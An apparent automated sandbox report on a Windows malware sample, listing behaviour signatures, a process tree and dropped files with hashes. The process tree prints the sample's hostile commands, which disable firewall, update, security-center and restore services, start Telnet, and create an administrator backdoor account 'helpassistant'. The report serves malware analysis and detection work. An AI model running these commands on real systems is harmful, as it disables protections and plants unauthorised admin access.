Analysis

  • max time kernel
    150s
  • max time network
    82s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/06/2026, 16:24

General

  • Target
    2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
  • Size 15.1MB
  • Sample260603-twvmwsbx4w
  • SHA256 b4b7539e9a63561b09461b4082480bf5cdf7bd9794ef0d12029089b54cba7dbc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:560
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2924
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3684
    • C:\Users\Admin\AppData\Local\Temp\2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4916
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:236
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2220
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:708
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4928
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3948
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3608
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2428
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1536
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3988
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3124
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4520
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:220
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4872
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1920
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3848
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4380
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:568

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 15.5MB
        • SHA256 e77365072054024f81b446a4f35e5d27449882402edf3a9e689b37b3c2f99cf9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 15.9MB
        • SHA256 1bd9de585e8d9714ca0edef25e1da51310a84179304a1b575c3ab00276d196ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 15.6MB
        • SHA256 7ce4eb15d1038eaee304120a61a43e17a001c0e92170eb77f9f9ff3be6be9f72
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 14.9MB
        • SHA256 0da437b4782c85cf9e9736763b12f6d4d8ae9b974b479a4955e26731626ac643
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 21.0MB
        • SHA256 8bf62242473881b8f9c815c17ce687cb6805eb1d80c5114756bfcfe256240ca0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 16.6MB
        • SHA256 3640c94fae12b60c2e56e98dae79eb82709314da1e20f4cfc45e65f7b959cf8c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 18.4MB
        • SHA256 a45543773ae457b89efcb40264b59269bb8808c853ea69d18be8442b7bc83fa4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 17.2MB
        • SHA256 6b34969fe94f08b6faa6bf69e299a30f883783d3103db692b41bf8faa8ca354c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        notification_helper.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 16.6MB
        • SHA256 2ef9ca6d7af3d93bc7484a5b71dc895d9b6c281f9a55d8b5c71d571f9c4d89f7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 16.8MB
        • SHA256 f22b7437b237c3e56cfb23357f47b01adaecd3434c36a6dac564a6e83c15a9b8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 18.0MB
        • SHA256 ec27c966fc4f574543e09579e5312a3e9a64820445e894d0978a36e8b2643a39
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_proxy.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 16.4MB
        • SHA256 552d507591b36ae15aadc3c6d4b6bd8bc2f09dff9be75480dcd2e781414e4587
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 15.0MB
        • SHA256 a8befe2b6d95d88a0ebaa6cccda65c85f0564a496780d99bee46bb1139ce632c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        extcheck.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 15.0MB
        • SHA256 f31d255b1e4bb846f16e27541730a4a1397626502103301e6ebb84db293742bc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 15.0MB
        • SHA256 fefeb29c1bd37da041d25866f613402e93f0a1b01a74e5c2923158af575bf3a7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 15.0MB
        • SHA256 9f0937eb4802cd538712ced7cdb8649a8e98b82080f04cb2228b3ca259fed75b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 15.1MB
        • SHA256 bd808402b297ae16716a9a2a4ad4358a9fed32769959b075268953af5d557390
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 15.0MB
        • SHA256 6d59b770ce86cfc4e55d441e92d7f4b3572981b7ba52b39963c74440d44502cf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 15.0MB
        • SHA256 3199ec4d76891eaf0fdb47df8b89622239433f2d02f41dba0e5b39623dd4ba82
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 15.0MB
        • SHA256 d5c791065bc4c45c52743a82949d28240f001c9fea984c042ec091456623f1c6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2026-06-03_8351949ab4dba79503f5344f42acebb1_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
        • Size 147KB
        • SHA256 820f7b8fcba857f6c99736db09bf996d8cfa34d4da23f79700f7c0ebd0f4c74b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 14.9MB
        • SHA256 874d5e1cd37fe11e2bf87e491a7c28cd6ccebfeca262ad066819786c85a0a594
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 181.9MB
        • SHA256 beceae5622bc509900b70da555c67c3a3fbdb3cf647a666da4d66bcb22b1390c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 185.2MB
        • SHA256 0c0c64834b601aa82231ec4443b9dd45be8e45a80c025974b135d033688364cc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 183.1MB
        • SHA256 05381847af510310e34aca9a1964a5a8a5842c107a13db5655d051c5a464edac
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 173.8MB
        • SHA256 386c924dbe0569a0a2380fa410a179d5abf867f6734642a4a63480aef908c0f7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 173.1MB
        • SHA256 8cd172b00ba5ce67e42e5b46b95983439a9ca291171375e421ee24b6c61d2eba
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 184.4MB
        • SHA256 01ba2b970a284a2579672e47721b63de5c9ddb82b7bfad3565b1561c0aa74999
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 182.1MB
        • SHA256 26913d4ba3bea10c140dbbb522157c019bf53140db239a60d69202ae4e3292f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 179.1MB
        • SHA256 02893f58b66ccd859872b79db430d1cb87fe2ebb3ed4fc6ee801e1b83a6fc2ce
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 174.2MB
        • SHA256 82bc2bbece1ed0d0b5b660e947d66b068610a15963ceb4dee0643e7ff4d47669
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 168.0MB
        • SHA256 d45f32e321cf259d1f2f70a42ca817143c87a9b5edcd036264820156cc5f3965
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 169.2MB
        • SHA256 7538fbca5e2a09b48186cdc95b907a133e331b39c6aa566b1a399d21bce2ae5a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 167.8MB
        • SHA256 1e93bd18307bab41aff81ed71f8f6e3c46618d9f28af97274b86da2c10f8e3e1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 77de1e10e8febe8249df7266a362ed803cab2f43619acf37fa89b91d485e5ad6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 3ad3df5b93b517ae4da23970ccb737c83611410f51e7dea8143f7a6d278ac6a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 0b51db16854ff182b446bf906443b689e8b639b0bb6f70ce7af18a92b5e0b2be
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 ad366b8dc0e4609a03763df6fc17cc8cdc68e20899d433e17edf92a45649889b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 c67f02c6acf236d9969fb23b4f1252b5a264bcd9e67f27769cf8b8e4585091ac
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 ba90e7df6a7bad3748bc06fbf5399fa416153c014c844ef837fd73d8d292326d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 14.9MB
        • SHA256 c6b3404eacace1149d3c4918a029a27ab9fe5c511936e6348bb3da9aae942344
        • MD5 SHA1 SHA512 SSDEEP TLSH